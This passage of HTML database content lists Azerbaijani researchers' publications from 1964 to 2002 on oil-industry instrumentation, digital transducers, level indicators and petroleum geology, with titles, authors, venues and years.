width=\"72\"><p>Ph.D&nbsp;</p><p>Dissertation</p></td><td width=\"108\"><p><strong>-</strong></p></td><td width=\"102\"><p>Baku</p></td><td width=\"54\"><p>1971</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>RELAY&nbsp;&nbsp; NULL-INDICATOR</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>NabiyevI.A., Rustamov N.S.</p></td><td width=\"102\"><p>“Measurment&nbsp; Engineering” &nbsp;Moscow</p></td><td width=\"54\"><p>1971</p></td><td width=\"54\"><p>No.10</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>SOME&nbsp; PROBLEMS&nbsp; OF&nbsp; DESIGN&nbsp;&nbsp; OF&nbsp; FLOAT&nbsp;&nbsp;&nbsp;&nbsp; DIGITAL&nbsp; LEVEL&nbsp;&nbsp;&nbsp; TRANSDUCERS BASED&nbsp; ON&nbsp; THE&nbsp; SELF – EXCITING&nbsp; OSCILLATOR&nbsp; METHOD</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>NabiyevI.A., Rustamov N.S.</p></td><td width=\"102\"><p>“Scientific&nbsp; Papers”, AIOC,</p><p>Baku</p></td><td width=\"54\"><p>1972</p></td><td width=\"54\"><p>No.1</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>INVESTIGATION&nbsp;&nbsp;&nbsp; AND&nbsp;&nbsp; DEVELOPMENT&nbsp;&nbsp;&nbsp; OF&nbsp; DIGITAL&nbsp; TRANSDUCERS&nbsp;</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FOR&nbsp; “WATER- OIL” AND&nbsp; “OIL-GAS” LEVELS</p></td><td width=\"72\"><p>&nbsp; article&nbsp;</p></td><td width=\"108\"><p>NabiyevI.A., Rustamov N.S.</p></td><td width=\"102\"><p>AIOC,Baku</p></td><td width=\"54\"><p>1974</p></td><td width=\"54\"><p>No.68</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>DIGITAL&nbsp;&nbsp; SELF – EXCITING&nbsp; OSCILLATOR&nbsp;&nbsp; TRANSDUCER&nbsp; OF&nbsp; LIQUID&nbsp;&nbsp;&nbsp;&nbsp;</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LEVEL</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>NabiyevI.A., Rustamov N.S.</p></td><td width=\"102\"><p>Automatic&nbsp; Control&nbsp; and&nbsp;&nbsp; Telemetry&nbsp; in&nbsp;&nbsp; Oil&nbsp; Industry”, Moscow</p></td><td width=\"54\"><p>1975</p></td><td width=\"54\"><p>No.1,</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>INVESTIGATION&nbsp;&nbsp;&nbsp; AND&nbsp;&nbsp; DEVELOPMENT&nbsp;&nbsp;&nbsp; OF&nbsp; DIGITAL&nbsp; TRANSDUCER&nbsp;</p><p>OF&nbsp;&nbsp; POSITION OF&nbsp; AUTOMATIC&nbsp; CONTROLLER&nbsp;&nbsp; ACTUATOR.&nbsp;</p></td><td width=\"72\"><p>&nbsp;</p><p>&nbsp;article.&nbsp;</p></td><td width=\"108\"><p>NabiyevI.A.,</p></td><td width=\"102\"><p>AIOC,</p><p>Baku</p></td><td width=\"54\"><p>1975</p></td><td width=\"54\"><p>No.3</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>INVESTIGATION&nbsp; OF&nbsp;&nbsp; INTELLIGENCE&nbsp;&nbsp; SIGNAL&nbsp;&nbsp; READING&nbsp;&nbsp; ELEMENTS&nbsp;</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; OF&nbsp; SELF-EXCITING&nbsp; OSCILLATOR&nbsp;&nbsp; TRANSDUCERS</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p><strong>-</strong></p></td><td width=\"102\"><p>“Scientific&nbsp; Papers” &nbsp;</p><p>&nbsp;AIOC, Baku</p></td><td width=\"54\"><p>1977</p></td><td width=\"54\"><p>No.1</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>“WATER-OIL” AND&nbsp; “OIL –GAS” LEVELS&nbsp;&nbsp;&nbsp; TRANSDUCER</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>NabiyevI.A., Rustamov N.S.</p></td><td width=\"102\"><p>.”Oil&nbsp; and Gas” ,&nbsp; Baku</p></td><td width=\"54\"><p>1977</p></td><td width=\"54\"><p>No.10</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>DETERMINATION&nbsp;&nbsp; OF&nbsp;&nbsp; RATIONAL&nbsp;&nbsp; PARAMETERS&nbsp;&nbsp; OF&nbsp;&nbsp; ELEMENTS&nbsp; OF&nbsp; &nbsp;TRANSDUCERS&nbsp; WITH&nbsp; STATIC&nbsp;&nbsp; CODE&nbsp;&nbsp; ELEMENT</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>Rustamov N.S.</p></td><td width=\"102\"><p>“Oil &nbsp;and&nbsp; Gas”,&nbsp; Baku</p></td><td width=\"54\"><p>1977</p></td><td width=\"54\"><p>&nbsp;No.9</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>LIQUID&nbsp;&nbsp; LEVEL&nbsp;&nbsp; ALARM&nbsp;&nbsp; SYSTEM</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>Mahmudov F.A.</p></td><td width=\"102\"><p>.”Automatic&nbsp; Control&nbsp; and&nbsp; Telemetry in&nbsp;&nbsp; Oil&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Industry”, Moscow</p></td><td width=\"54\"><p>1977</p></td><td width=\"54\"><p>No.7</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>PRINCIPLES&nbsp; OF&nbsp; STRUCTURE&nbsp; OF&nbsp;&nbsp;&nbsp; ULTRASONIC&nbsp; LEVEL&nbsp; INDICATORS WITH&nbsp;&nbsp; LIQUID&nbsp; WAVEGUIDE</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>Rechels T.R.</p></td><td width=\"102\"><p>Proceedings of USSR&nbsp; Scientific&nbsp;&nbsp; Conference&nbsp; on&nbsp;&nbsp;&nbsp;&nbsp; Information-Measuring&nbsp; Systems. Moscow</p></td><td width=\"54\"><p>1977</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>DIGITAL&nbsp; TRANSDUCER&nbsp; OF&nbsp; AUTOMATIC&nbsp;&nbsp; CONTROLLER&nbsp; ACTUATOR</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>NabiyevI.A., Abdullayev A.A.</p></td><td width=\"102\"><p>“Technical Progress”, Baku</p></td><td width=\"54\"><p>1978</p></td><td width=\"54\"><p>No.4</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>THREE-POSITION&nbsp;&nbsp; LEVEL&nbsp;&nbsp; INDICATOR</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>NabiyevI.A.,</p></td><td width=\"102\"><p>“Power&nbsp; Engineering&nbsp; and&nbsp;&nbsp;&nbsp;&nbsp; Automatics”Baku</p></td><td width=\"54\"><p>1983</p></td><td width=\"54\"><p>No.32</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>ANALYSIS&nbsp; OF&nbsp;&nbsp; SENSITIVE&nbsp; ELEMENTS&nbsp; OF&nbsp; DIGITAL&nbsp;&nbsp;&nbsp;&nbsp; SELF -&nbsp; EXCITING&nbsp;&nbsp;</p><p>&nbsp;OSCILLATOR TRANSDUCERS&nbsp; OF&nbsp; LINEAR&nbsp; MOVEMENTS</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>-</p></td><td width=\"102\"><p>“Elements&nbsp; of&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Automatic&nbsp; Control&nbsp;&nbsp; and&nbsp; Data Measuring&nbsp; Systems”, AIOC, Baku</p></td><td width=\"54\"><p>1984</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>INVESTIGATION&nbsp; AND&nbsp;&nbsp; DEVELOPMENT&nbsp;&nbsp;&nbsp; OF&nbsp;&nbsp; SPESIAL&nbsp;&nbsp; DEVICES&nbsp;&nbsp; FOR&nbsp;&nbsp;&nbsp;</p><p>&nbsp; POSITION CONTROL&nbsp; OF&nbsp; ACTUATORS&nbsp;&nbsp; IN&nbsp; IRRIGATION&nbsp;&nbsp; SYSTEMS</p></td><td width=\"72\"><p>&nbsp;article</p></td><td width=\"108\"><p>NabiyevI.A., Pashayev M.C.</p></td><td width=\"102\"><p>AIOC,</p><p>Baku</p></td><td width=\"54\"><p>1984</p></td><td width=\"54\"><p>No.52</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>INVESTIGATION&nbsp; AND&nbsp;&nbsp; DEVELOPMENT&nbsp;&nbsp;&nbsp; OF&nbsp;&nbsp; SPESIAL&nbsp;&nbsp; DEVICES&nbsp;&nbsp; FOR&nbsp;&nbsp;</p><p>&nbsp;AUTOMATIC CONTROL&nbsp; OF&nbsp; LIQUID&nbsp;&nbsp; LEVEL&nbsp; IN&nbsp; IRRIGATION&nbsp;&nbsp; SYSTEMS</p></td><td width=\"72\"><p>&nbsp;&nbsp;&nbsp;&nbsp; article</p></td><td width=\"108\"><p>NabiyevI.A., Guliyev R.A.</p></td><td width=\"102\"><p>AIOC,</p><p>Baku</p></td><td width=\"54\"><p>1985</p></td><td width=\"54\"><p>No.52</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>INVESTIGATION&nbsp; AND&nbsp;&nbsp; DEVELOPMENT&nbsp;&nbsp;&nbsp; OF&nbsp;&nbsp; ELEMENTS&nbsp;&nbsp; AND&nbsp;&nbsp;&nbsp;</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SYSTEMS OF ACTUATION&nbsp;&nbsp;&nbsp; FOR&nbsp; OIL&nbsp;&nbsp;&nbsp; PRODUCTION</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>NabiyevI.A.,</p></td><td width=\"102\"><p>AIOC,Baku</p></td><td width=\"54\"><p>1986</p></td><td width=\"54\"><p>No.202</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>CAPACITIVE&nbsp;&nbsp; DIGITAL&nbsp;&nbsp; LEVEL&nbsp;&nbsp; INDICATOR&nbsp;&nbsp; FOR&nbsp;&nbsp; CONDUCTING&nbsp;&nbsp; LIQUIDS</p></td><td width=\"72\"><p>Article&nbsp;</p></td><td width=\"108\"><p>Shiraliyev G.U.</p></td><td width=\"102\"><p>Proceedings of Scientific&nbsp;&nbsp; Conference&nbsp;&nbsp; of&nbsp; Universities&nbsp;&nbsp; of&nbsp;</p><p>Azerbaijan.Baku</p></td><td width=\"54\"><p>1986</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>STRUCTURE&nbsp; PROBLEMS&nbsp;&nbsp; OF DIGITAL&nbsp;&nbsp; LEVEL&nbsp;&nbsp; INDICATORS&nbsp;&nbsp; WITH&nbsp;&nbsp;</p><p>&nbsp;CAPACITIVE SENSITIVE&nbsp; ELEMENTS</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>Guliyev R.A. Mammdov U.G., Mammadova A.K.</p></td><td width=\"102\"><p>“Equipment&nbsp; of&nbsp;&nbsp; Control&nbsp;&nbsp; Systems of&nbsp;</p><p>Oil&nbsp; and Refinery&nbsp; Industry”,AIOC, Baku</p></td><td width=\"54\"><p>1988</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>MICROPROCESSOR&nbsp;&nbsp;&nbsp; AUTOMATIC&nbsp;&nbsp; TELEMETRY&nbsp;&nbsp; SYSTEM&nbsp; OF&nbsp;&nbsp; WELL&nbsp;&nbsp;&nbsp;</p><p>&nbsp;PRODUCTIVITY</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>Nabiyev I.A., Mammdov U.G., Mammadova A.K.</p></td><td width=\"102\"><p>“Automatics&nbsp; and&nbsp; Instrument&nbsp;&nbsp; Engineering”Baku</p></td><td width=\"54\"><p>1989</p></td><td width=\"54\"><p>No. 3</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>MOVEMENT&nbsp;&nbsp; - CODE CONVERTER&nbsp;</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>Nabiyev I.A., Mammdov U.G., Mammadova A.K., Pashayev M.C.</p></td><td width=\"102\"><p>“Oil&nbsp; and&nbsp; Gas”, &nbsp;&nbsp;Baku</p></td><td width=\"54\"><p>1992</p></td><td width=\"54\"><p>No.3</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>INCREASING&nbsp; OF&nbsp; RESOLUTION&nbsp; AND&nbsp; NOISE&nbsp;&nbsp; IMMUNITY&nbsp; OF&nbsp; DIGITAL&nbsp;&nbsp;</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TRANSDUCERS OF&nbsp; LINEAR&nbsp;&nbsp; MOVEMENT</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p><strong>-</strong></p></td><td width=\"102\"><p>&nbsp;Proseedings “Investigation &nbsp;and&nbsp;&nbsp; Development&nbsp; of&nbsp; Equipments for&nbsp; local&nbsp;&nbsp; Control&nbsp; Systems”, AIOC, Baku</p></td><td width=\"54\"><p>1992</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>ANALYSIS&nbsp; OF&nbsp; CODING&nbsp;&nbsp; ELEMENT&nbsp;&nbsp; WITH&nbsp;&nbsp;&nbsp; MULTISECTION&nbsp; COILS&nbsp;&nbsp;&nbsp;&nbsp;</p><p>&nbsp;FOR&nbsp;&nbsp;&nbsp; SELF-EXCITING&nbsp;&nbsp; OSCILLATOR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TRANSDUCERS&nbsp;&nbsp; OF&nbsp; MOMENTS .</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p><strong>-</strong></p></td><td width=\"102\"><p>“Oil&nbsp; and&nbsp; Gas”,&nbsp; Baku</p></td><td width=\"54\"><p>1993</p></td><td width=\"54\"><p>No.4</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>DEVELOPMENT&nbsp;&nbsp;&nbsp; PROBLEMS&nbsp; OF&nbsp; TWO- MEASURING&nbsp; SELF-&nbsp; EXCITING&nbsp;</p><p>OSCILLATOR TRANSDUCERS</p></td><td width=\"72\"><p>Article</p></td><td width=\"108\"><p><strong>-</strong></p></td><td width=\"102\"><p>Proceedings “Investigation&nbsp;&nbsp; and&nbsp; &nbsp;Development&nbsp; of&nbsp;&nbsp; Equipments&nbsp; for Local Control&nbsp; Systems”, AIOC, Baku</p></td><td width=\"54\"><p>1993</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>POSSIBILITY&nbsp; OF&nbsp; UTILIZATION&nbsp;&nbsp;&nbsp; OF&nbsp;&nbsp; NON – CONTACT&nbsp; SKIN – SENSORS&nbsp;</p><p>IN&nbsp;&nbsp; CONTROL&nbsp; SYSTEMS.</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>Chebarev A.I., Streltsov S.R.</p></td><td width=\"102\"><p>“Scientific&nbsp; Papers” ASOA ,</p><p>Baku</p></td><td width=\"54\"><p>1994</p></td><td width=\"54\"><p>No.3</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>DIGITAL&nbsp;&nbsp; DEVICES&nbsp; FOR AUTOMATIC&nbsp; GAUGING&nbsp;&nbsp; OF&nbsp; LINEAR&nbsp;&nbsp;&nbsp;&nbsp;</p><p>MOVEMENT&nbsp; IN CONTROL&nbsp; SYSTEMS</p></td><td width=\"72\"><p>Article</p></td><td width=\"108\"><p>Pashayev M.C.</p></td><td width=\"102\"><p>Proceedings of Conference “Utilization&nbsp;</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; of&nbsp;&nbsp; Scientific&nbsp;&nbsp; Potential&nbsp;&nbsp; of&nbsp; Azerbaijan&nbsp;&nbsp;&nbsp; in&nbsp;&nbsp; Industry”,&nbsp; Baku</p></td><td width=\"54\"><p>1994</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>ADAPTIVE&nbsp; VIRTUAL&nbsp; SENSOR&nbsp; DIGITIZERS&nbsp;&nbsp; FOR&nbsp; DATA&nbsp; PROCESSING&nbsp;</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SYSTEMS.</p></td><td width=\"72\"><p>Article</p></td><td width=\"108\"><p>Chebarev A.I</p></td><td width=\"102\"><p>Proceedings of Conference&nbsp; “Utilization&nbsp; of&nbsp;&nbsp; Scientific&nbsp; Potential&nbsp;&nbsp; of&nbsp;&nbsp;&nbsp;&nbsp; Azerbaijan&nbsp;&nbsp; in&nbsp; Industry”, Baku</p></td><td width=\"54\"><p>1994</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>PRINCIPLES&nbsp;&nbsp;&nbsp; OF&nbsp;&nbsp; STRUCTURE&nbsp;&nbsp; OF&nbsp; NON- CONTACT&nbsp;&nbsp;&nbsp;&nbsp; SKIN-SENSORS&nbsp;&nbsp; AND&nbsp; THEIR&nbsp; CIRCUITRY&nbsp; REALIZATION.&nbsp;</p></td><td width=\"72\"><p>Article.</p></td><td width=\"108\"><p>Chebarev A.I., Streltsov S.R.</p></td><td width=\"102\"><p>Proceedings “Investigation&nbsp;&nbsp; &nbsp;and&nbsp; Development&nbsp; of&nbsp;&nbsp; Equipments for Local Control&nbsp; Systems”, AIOC, Baku</p></td><td width=\"54\"><p>1994</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>PROBLEMS OF DEVELOPMENT OF BIOTECHNICAL RESONANT SENSORS</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>Chebarev A.I., Streltsov S.R., Novruzaliyev F.S.</p></td><td width=\"102\"><p>Proceedings of Scientific Conference AzNIPINEFT</p></td><td width=\"54\"><p>1994</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>ANALYSIS&nbsp; OF&nbsp;&nbsp; NOISE&nbsp;&nbsp;&nbsp; IMMUNITY&nbsp;&nbsp; OF&nbsp; SELF&nbsp; - EXCITING&nbsp;&nbsp; OSCILLATOR</p><p>TRANSDUCERS&nbsp; WITH&nbsp;&nbsp; MULTISECTION&nbsp;&nbsp; SENSITIVE&nbsp;&nbsp; ELEMENTS</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p><strong>-</strong></p></td><td width=\"102\"><p>Scientific Papers”, ASOA, Baku</p></td><td width=\"54\"><p>1995</p></td><td width=\"54\"><p>No. 1</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>PRINSIPLES&nbsp; OF&nbsp;&nbsp; STRUCTURE&nbsp;&nbsp; AND&nbsp;&nbsp; PERSPECTIVES&nbsp;&nbsp; OF&nbsp; UTILIZATION&nbsp;</p><p>&nbsp;OF BIOSENSORS</p></td><td width=\"72\"><p>Article</p></td><td width=\"108\"><p>Chebarev A.I., Streltsov S.R., Novruzaliyev F.S.</p></td><td width=\"102\"><p>Proceedings of International&nbsp;&nbsp; Congres&nbsp; “Energy,Ecology,&nbsp; Economy”, Baku</p></td><td width=\"54\"><p>1995</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>LOAD-CARRYING&nbsp; CAPACITY&nbsp; OF&nbsp;&nbsp; NON-CONTACT&nbsp;&nbsp;&nbsp;&nbsp; RESONANT&nbsp;&nbsp;&nbsp; SKIN-&nbsp;&nbsp;&nbsp; SENSORS.</p></td><td width=\"72\"><p>Article</p></td><td width=\"108\"><p><strong>-</strong></p></td><td width=\"102\"><p>“Scientific&nbsp; Papers”, ASOA, Baku</p></td><td width=\"54\"><p>1995</p></td><td width=\"54\"><p>No.4</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>PROBLEMS&nbsp; OF &nbsp;DEVELOPMENT&nbsp;&nbsp;&nbsp; AND&nbsp;&nbsp; CREATION&nbsp;&nbsp; OF&nbsp; HARDWARE&nbsp;&nbsp;&nbsp;</p><p>&nbsp;COMPONENTS&nbsp; FOR&nbsp;&nbsp; ORGANIZATION&nbsp;&nbsp; OF&nbsp; POLYFUNCTION&nbsp; AUTOMATIC&nbsp;&nbsp;</p><p>&nbsp; OPERATORS’S&nbsp; POSITION .</p></td><td width=\"72\"><p>Article.</p></td><td width=\"108\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p>Proceedings “Investigation&nbsp;&nbsp; and&nbsp; Development&nbsp;</p><p>&nbsp;of&nbsp;&nbsp; Equipments for Local Control&nbsp;&nbsp;&nbsp;&nbsp; Systems”,AIOC, Baku</p></td><td width=\"54\"><p>1995</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>BIREADING&nbsp; DIGITAL&nbsp; MOVEMENT&nbsp;&nbsp; TRANSDUCER.&nbsp;</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p><strong>-</strong></p></td><td width=\"102\"><p>“Oil and&nbsp; Gas”,Baku</p></td><td width=\"54\"><p>1996</p></td><td width=\"54\"><p>No.4</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>SOME&nbsp; PROBLEMS&nbsp; OF&nbsp; DEVELOPMENT&nbsp; OF&nbsp;&nbsp; NON-CONTACT&nbsp;&nbsp; SKIN-</p><p>SENSORS.</p></td><td width=\"72\"><p>Article.</p></td><td width=\"108\"><p>Chebarev A.I., Streltsov S.R.,</p></td><td width=\"102\"><p>Proceedings ”Investingation&nbsp; and&nbsp; Devopment&nbsp;&nbsp; of&nbsp; Equipments&nbsp;&nbsp; for&nbsp;&nbsp; Local&nbsp;&nbsp; Control&nbsp; Systems”, ASOA, Baku</p></td><td width=\"54\"><p>1996</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>FUZZY&nbsp;&nbsp; OPTIMIZATION&nbsp;&nbsp; OF&nbsp;&nbsp; OPERATION&nbsp; MODES&nbsp;&nbsp; OF&nbsp;&nbsp; GASLIFT&nbsp; WELLS//</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>Yusifov S.</p></td><td width=\"102\"><p>Proceedings of Third&nbsp; International&nbsp;&nbsp; Conference&nbsp;&nbsp;&nbsp; on&nbsp;&nbsp; Application&nbsp;&nbsp; of&nbsp; Fuzzy&nbsp; Systems&nbsp;&nbsp; and&nbsp; Soft&nbsp; Computing,Wiesbaden, Germany</p></td><td width=\"54\"><p>1998</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>FUZZY&nbsp; EXPERT&nbsp; SYSTEM&nbsp; OF&nbsp; DYNAMICAL&nbsp;&nbsp;&nbsp; DIAGNOSE&nbsp;&nbsp; OF TECHNICAL&nbsp;&nbsp; STATE&nbsp;&nbsp; OF GASLIFT&nbsp;&nbsp; EQUIPMENT&nbsp; //&nbsp; Abstracts of&nbsp;&nbsp; the&nbsp;</p><p>&nbsp;</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>Yusifov S.</p></td><td width=\"102\"><p>Proceedings of 4-th&nbsp;</p><p>International&nbsp;&nbsp; Conference&nbsp;&nbsp; on&nbsp; Application&nbsp; of Fuzzy&nbsp; Systems&nbsp; and&nbsp; Soft Computing,Siegen,Germany</p></td><td width=\"54\"><p>2000</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>VISUAL&nbsp;&nbsp; ANALYSIS&nbsp; AND&nbsp;&nbsp; MANAGEMENT&nbsp;&nbsp;&nbsp; OF&nbsp;&nbsp; PHYSIOLOGICAL&nbsp; EMOTIONAL CONDITION&nbsp;&nbsp; USING&nbsp;&nbsp; MULTIMEDIA&nbsp; SYSTEMS</p><p>&nbsp;</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>Talibov S.</p></td><td width=\"102\"><p>Proceedings of International&nbsp;&nbsp; Conference on Computer&nbsp; Vision,&nbsp; Computer &nbsp;Graphics, New&nbsp;</p><p>&nbsp;Media - EWV 02 Graz, Austria</p></td><td width=\"54\"><p>2002</p></td><td width=\"54\"><p>&nbsp;</p><div><br></div></td></tr></tbody></table>  <br></div>'),(1548,966,'az','Rafig Qurbanov','Rafig Qurbanov','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" style=\"font-family:arial, helvetica, sans-serif\"><tbody><tr><td><p>#</p></td><td><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td><p><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Изменение температурного режима I горизонта продуктивной толщи месторождения Кюровдаг</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, Э.А.Багбанлы, Т.А. Зейналов</p></td><td><p>Изв. АН Азерб. ССР, сер. Геол.-геогр. наук</p></td><td><p>1964</p></td><td><p>3.0 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>К методике графического определения пластового давления</p></td><td><p>Journal articles<strong>&nbsp;</strong></p></td><td><p>Р.С. Гурбанов, С. Д. Нуриев</p></td><td><p>Азербайджанское Нефтяное Хозяйство, №4</p></td><td><p>1965</p></td><td><p>1.5 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>К вопросу установления тектонического нарушения по данным исследования скважин</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, Б.М.Листенгартен</p></td><td><p>Листок технической информации</p><p>сер. \"Нефтедобывающая промышленность\" АзИНТИ</p></td><td><p>1965</p></td><td><p>6.0 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Некоторые гидрохимические особенности I горизонта продуктивной толщи месторождения Кюровдаг</p></td><td><p>Journal article<strong>&nbsp;</strong></p></td><td><p>Р.С. Гурбанов, Б.М. Молдавский</p></td><td><p>Азербайджанское Нефтяное Хозяйство, №2</p></td><td><p>1966</p></td><td><p>3.0 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>О влиянии некоторых факторов на изменение качества нефти</p></td><td><p>Proceeding</p></td><td><p>Р.С. Гурбанов, А.Н. Гусейнов</p></td><td><p>Сборник трудов молодых ученых и аспирантов институтов отделения наук о Земле. Изд. АН Азерб. ССР</p></td><td><p>1966</p></td><td><p>11 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>К вопросу эксплуатации скважин при повышенных перепадах давления</p></td><td><p>Journal article</p></td><td><p>Р.С. Гурбанов, А.Н. Гусейнов</p></td><td><p>Азербайджанское Нефтяное Хозяйство, №7</p></td><td><p>1966</p></td><td><p>2.5 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Изменение химического состава пластовых вод I горизонта продуктивной толщи месторождения Кюровдаг</p></td><td><p>Proceeding</p></td><td><p>Р.С. Гурбанов, А.Р. Ахундов&nbsp;</p></td><td><p>\"Теория технологических процессов бурения и нефтедобычи \"Изд. \"Элм\"&nbsp; АН Азерб. ССР</p></td><td><p>1970</p></td><td><p>7 